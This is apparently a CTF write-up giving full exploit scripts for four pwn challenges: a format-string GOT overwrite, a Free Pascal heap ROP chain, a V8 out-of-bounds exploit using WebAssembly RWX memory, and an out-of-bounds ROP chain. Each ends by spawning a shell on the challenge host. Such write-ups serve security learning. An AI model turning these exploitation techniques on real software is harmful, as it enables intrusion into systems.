2025 Infobahn CTF

PwnSet (25 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.arch = 'amd64'
p = remote('pwnset.challs.infobahnc.tf', 1337)

i = 0
while True:
p.sendlineafter('>', str(1))
p.sendlineafter(':', '%980254c%142$n')
p.sendlineafter(':', '4207712')
res = p.recvuntil('Select', timeout=5)
if len(res) != 35 and len(res) != 7:
break
i += 1

time.sleep(1)
p.sendline('cat /flag*')
p.interactive()

Format string attack with syslog function to modify got address to a guessed oneshot gadget address

Book Manager V2 (17 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

p = remote('book-managerv2.challs.infobahnc.tf', 1337)

def create(title, author):
p.sendlineafter(':', str(1))
p.sendlineafter(':', title)
p.sendlineafter(':', author)

def view():
p.sendlineafter(':', str(2))

def edit(index, title, author):
p.sendlineafter(':', str(3))
p.sendlineafter(':', str(index))
p.sendlineafter(':', title)
p.sendlineafter(':', author)

def delete(index):
p.sendlineafter(':', str(4))
p.sendlineafter(':', str(index))

create(b'a'*0x20, b'b'*0x30)
create(b'a'*0x20, b'b'*0x30)
create(b'a'*0x20, b'b'*0x30)
delete(1)

bookptrs = 0x47E540
environ = 0x4800D0

payload = b'a'*0x30 + p64(0) + p64(0x98061)
payload += p64(bookptrs - 8)
edit(0, b'a', payload)
create(b'a'*0x20, b'a'*0x30)

title = p64(environ)
title += p64(bookptrs)
title += p64(bookptrs)

author = b'a'*(0x800-0x20)
author += p64(1)

create(title, payload)
view()
p.recvuntil('0: "')
stack_leak = u64(p.recv(6).ljust(8, b'\0'))
print(hex(stack_leak))
stack_ptr = stack_leak - 0x30
print(hex(stack_ptr))

title = p64(stack_ptr - 0x20)
title += p64(bookptrs)

author = b'a'*(0x800-0x20)
author += p64(2)
edit(1, title, author)

and_edx_ecx__mov_rax_rdx = 0x0000000000406a57
pop_rax = 0x0000000000413ef3
pop_rdi_r14_r13_r12_rbx = 0x0000000000404165
pop_rsi_r13_r12_rbx = 0x000000000040307c
syscall = 0x0000000000401085

payload = p64(and_edx_ecx__mov_rax_rdx)
payload += p64(pop_rsi_r13_r12_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi_r14_r13_r12_rbx)
payload += p64(stack_ptr + 0xe0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(syscall)
payload = payload.ljust(0x100, b'\0')
payload += b'/bin/sh\0'
edit(0, payload[:0x20], payload[0x20:])

p.interactive()

Classic heap challenge but written in free pascal.

The Butterfly Effect (14 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
let double_arrays = [];

for (let i = 0; i < 0x10; ++i) {
let arr = [1.1, 2.2];
double_arrays.push(arr);
}

for (let i = 0; i < 0x10; ++i) {
double_arrays[i].length = 0x100;
if (i == 3) {
double_arrays[i].fill({});
} else {
double_arrays[i].fill(1.1);
}
}

double_arrays[0].magic(0x100, 46);
double_arrays[1][8000] = 4.4;

double_arrays[2].fill(3.3);

const oob_array = double_arrays[1];
const object_array = double_arrays[3];

const ab = new ArrayBuffer(8);
const f64 = new Float64Array(ab);
const u64 = new BigUint64Array(ab);

function addrof(o) {
object_array[0] = o;
f64[0] = oob_array[774];
return u64[0] >> 32n;
}

function fakeobj(addr) {
f64[0] = oob_array[774];
const temp = u64[0] & 0xFFFFFFFFn;
u64[0] = temp + (addr << 32n);
oob_array[774] = f64[0];
return object_array[0];
}

function f2i(f) {
f64[0] = f;
return u64[0];
}

function i2f(v) {
u64[0] = v;
return f64[0];
}

const target = [1.1, 2.2];
// %DebugPrint(oob_array);
// %DebugPrint(target);
console.log(fakeobj(addrof(target)));
let double_map_lo = f2i(oob_array[4011]) >> 32n;
console.log(double_map_lo.toString(16));
let double_map_hi = f2i(oob_array[4012]) & 0xffffffffn;
console.log(double_map_hi.toString(16));
let double_map = (double_map_hi << 32n) + double_map_lo;
console.log(double_map.toString(16));

function read64(addr) {
const readArr = [1.1, 2.2];
readArr[0] = i2f(double_map);
readArr[1] = i2f(0x0000000200000000n + addr - 0x8n);
return f2i(fakeobj(addrof(readArr) - 0x10n)[0]);
}

function write64(addr, data) {
const writeArr = [1.1, 2.2];
writeArr[0] = i2f(double_map);
writeArr[1] = i2f(0x0000000200000000n + addr - 0x8n);
const fakeArr = fakeobj(addrof(writeArr) - 0x10n);
fakeArr[0] = i2f(data);
}

var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 3, 2, 0, 0, 5, 3, 1, 0, 1, 7, 19, 2, 7, 116, 114, 105, 103, 103, 101, 114, 0, 0, 5, 115, 104, 101, 108, 108, 0, 1, 10, 99, 2, 3, 0, 1, 11, 93, 0, 65, 0, 66, 212, 188, 197, 249, 143, 146, 228, 245, 9, 55, 3, 0, 65, 8, 66, 186, 161, 128, 128, 128, 128, 228, 245, 6, 55, 3, 0, 65, 16, 66, 177, 128, 191, 168, 128, 146, 228, 245, 6, 55, 3, 0, 65, 24, 66, 184, 247, 128, 128, 128, 128, 228, 245, 6, 55, 3, 0, 65, 32, 66, 212, 190, 197, 177, 159, 198, 244, 245, 6, 55, 3, 0, 65, 40, 66, 143, 138, 192, 132, 137, 146, 164, 200, 144, 127, 55, 3, 0, 11
]);

var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var shell = wasm_instance.exports.shell;
var trigger = wasm_instance.exports.trigger;

shell();

let leak = read64(addrof(wasm_instance) + 0xcn);
console.log(leak.toString(16));
let rwx_addr = read64(leak + 0x28n);
console.log(rwx_addr.toString(16));
write64(leak + 0x28n, rwx_addr + 0x9den);
trigger();

V8 challenge gives you a bitflip one time to an out-of-bounds element.

Pwn A Brainrot (5 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *

p = remote('brainrot.challs.infobahnc.tf', 1337)
e = ELF('./brainrot')

p.sendlineafter('?', str(0x4000_0000_1000_0000))

base_ptr = 0x000000c00001a000

def calc_index(ptr):
offset = ptr - base_ptr
if offset < 0:
offset += 0x1_0000_0000_0000_0000
return offset // 4

def read32(ptr):
p.sendlineafter('>', str(2))
p.sendlineafter(':', str(calc_index(ptr)))
p.recvuntil('$')
result = p.recvuntil('/')[:-1]
return int(result)

def read64(ptr):
return read32(ptr) + (read32(ptr + 4) << 32)

steal_count = 0
def steal(index, name):
global steal_count

steal_count += 1
p.sendlineafter('>', str(1))
p.sendlineafter(':', str(index))
p.sendlineafter(':', name)

def write32(ptr, value):
current = read32(ptr)

diff = value - current
if diff < 0:
diff += 0x1_0000_0000

while True:
print(f'value: {hex(value)}, current: {hex(current)}, diff: {hex(diff)}')
if diff >= 1000000:
steal(calc_index(ptr), 'Chimpanzini Bananini')
diff -= 1000000
elif diff >= 100000:
steal(calc_index(ptr), 'Orcalero Orcala')
diff -= 100000
elif diff >= 10000:
steal(calc_index(ptr), 'Odin Din Din Dun')
diff -= 10000
elif diff >= 1000:
steal(calc_index(ptr), 'Job Job Job Sahur')
diff -= 1000
elif diff >= 100:
steal(calc_index(ptr), 'John Pork')
diff -= 100
elif diff >= 10:
steal(calc_index(ptr), 'Ballerina Cappuccina')
diff -= 10
elif diff >= 1:
steal(calc_index(ptr), 'Meowl')
diff -= 1
elif diff == 0:
# print('good')
break
else:
steal(calc_index(ptr), 'Meowl')
diff -= 67676767

def write64(ptr, value):
lo = value & 0xffffffff
hi = value >> 32

write32(ptr, lo)
write32(ptr + 4, hi)

stack = read64(0xa98398)
pop_rcx_rsi = 0x0000000000671d93
pop_rdi = 0x634cb7
pop_rsi = 0x64a120
pop_rdx = 0x662b1a
binsh = 0xa96bd8
execve = 0x665BB0
mov_edx_0 = 0x64781f

write64(binsh, u64(b'/bin/sh\0'))
write64(stack - 0x50, pop_rcx_rsi)
write64(stack - 0x38, mov_edx_0)
write64(stack - 0x30, pop_rdi)
write64(stack - 0x28, binsh)
write64(stack - 0x20, execve)

p.sendline('3')
p.interactive()

You can leak the addresses and overwrite everything with one out-of-bounds bug.